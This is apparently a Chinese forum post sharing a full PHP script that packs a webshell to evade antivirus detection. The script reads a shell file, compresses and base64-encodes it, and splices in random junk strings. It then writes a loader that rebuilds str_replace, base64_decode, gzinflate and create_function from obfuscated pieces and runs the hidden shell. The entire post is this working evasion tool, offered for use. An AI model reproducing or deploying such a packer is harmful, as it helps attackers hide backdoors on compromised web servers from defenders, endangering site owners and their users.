一个PHP加密脚本，达到一定免杀效果

<?php

/****************************************
 *author: L.N.
 *blog  : [url]http://lanu.sinaapp.com[/url]
 *date  : 2014.01.03
*****************************************/
    $Key = "";
    $YourShell = file_get_contents("1.php");
    if($YourShell == null){
        echo "not find content!";
    }
    $En_Base64 = base64_encode(gzdeflate($YourShell));
    $Lm_File = fopen('lm.php',"a+");
    $Lm_YourShell = Encode($En_Base64,2, &$Key);
    $Lm_YourShell_Key = $Key;
    fwrite($Lm_File,"<?php \n/* code by L.N. [url]http://lanu.sinaapp.com[/url] */\n");
    fwrite($Lm_File,'$co ="'.$Lm_YourShell.'";'."\n");
    $Lm_Str_Replace = Encode('str_replace', 2, &$Key);
    $Lm_Str_Replace_Key = $Key;
    fwrite($Lm_File,'$sr = str_replace("'.$Lm_Str_Replace_Key.'","","'.$Lm_Str_Replace.'");'."\n");
    $Lm_Base64_Decode = Encode('base64_decode',2, &$Key);
    $Lm_Base64_Decode_Key = $Key;
    fwrite($Lm_File,'$bd = $sr("'.$Lm_Base64_Decode_Key.'","","'.$Lm_Base64_Decode.'");'."\n");
    $Lm_Gzinflate = Encode('gzinflate',2, &$Key);
    $Lm_Gzinflate_Key = $Key;
    fwrite($Lm_File,'$ge = $sr("'.$Lm_Gzinflate_Key.'","","'.$Lm_Gzinflate.'");'."\n");
    $Lm_Create_Cunction = Encode('create_function',2, &$Key);
    $Lm_Create_Cunction_Key = $Key;
    fwrite($Lm_File,'$cc = $sr("'.$Lm_Create_Cunction_Key.'","","'.$Lm_Create_Cunction.'");'."\n");
    fwrite($Lm_File,'$ex = $cc("",$ge($bd($sr("'.$Lm_YourShell_Key.'","",$co))));'."\n");
    fwrite($Lm_File,'$ex();'."\n");
    fwrite($Lm_File,'?>'."\n");
    fclose($Lm_File);
    function Encode($Str, $Key_Num, &$Key)
    {
        do{
            $Key = RandString($Key_Num);
        }while(strpos($Str, $Key) !== false);
        return InsertString($Str,$Key,$Key_Num);
    }

    function RandString($Num)
    {
        $Str = 'abcdefghijklmnopqrstuvwxyz';
        $Out_Str = "";
        for($i=0;$i<$Num;$i++)
        {
                $Rand = rand(0,25);
                $Out_Str .= $Str[$Rand];
        }
        return $Out_Str;
    }
    function InsertString($Str, $Key, $Key_Num)
    {
        $Str_Len = strlen($Str);
        if(intval($Str_Len/20) >= 5)
        {
            $Str_Rand_Num = 20;
        }
        elseif(intval($Str_Len/10) >= 5)
        {
            $Str_Rand_Num = 10;
        }
        elseif(intval($Str_Len/5) >= 5)
        {
            $Str_Rand_Num = 5;
        }
        else
        {
            $Str_Rand_Num = 2;
        }
        $Arr_Str = str_split($Str, $Str_Rand_Num);
        if($Key_Num > $Str_Rand_Num)
        {
            echo "Key_Num is not greater than Str_Rand_Num";exit;
        }
        for($i=1;$i<count($Arr_Str);$i++)
        {
            $Check_Str = $Arr_Str[$i-1] . $Key . $Arr_Str[$i];
            if(strpos($Check_Str,$Key)<strlen($Arr_Str[$i-1])||strpos(strrev($Check_Str),strrev($Key))<strlen($Arr_Str[$i]))
            {
                continue;
            }
            else
            {
                $Arr_Str[$i-1] .= $Key;
            }
        }
        $Out_Str = implode($Arr_Str);
        return $Out_Str;
    }
?>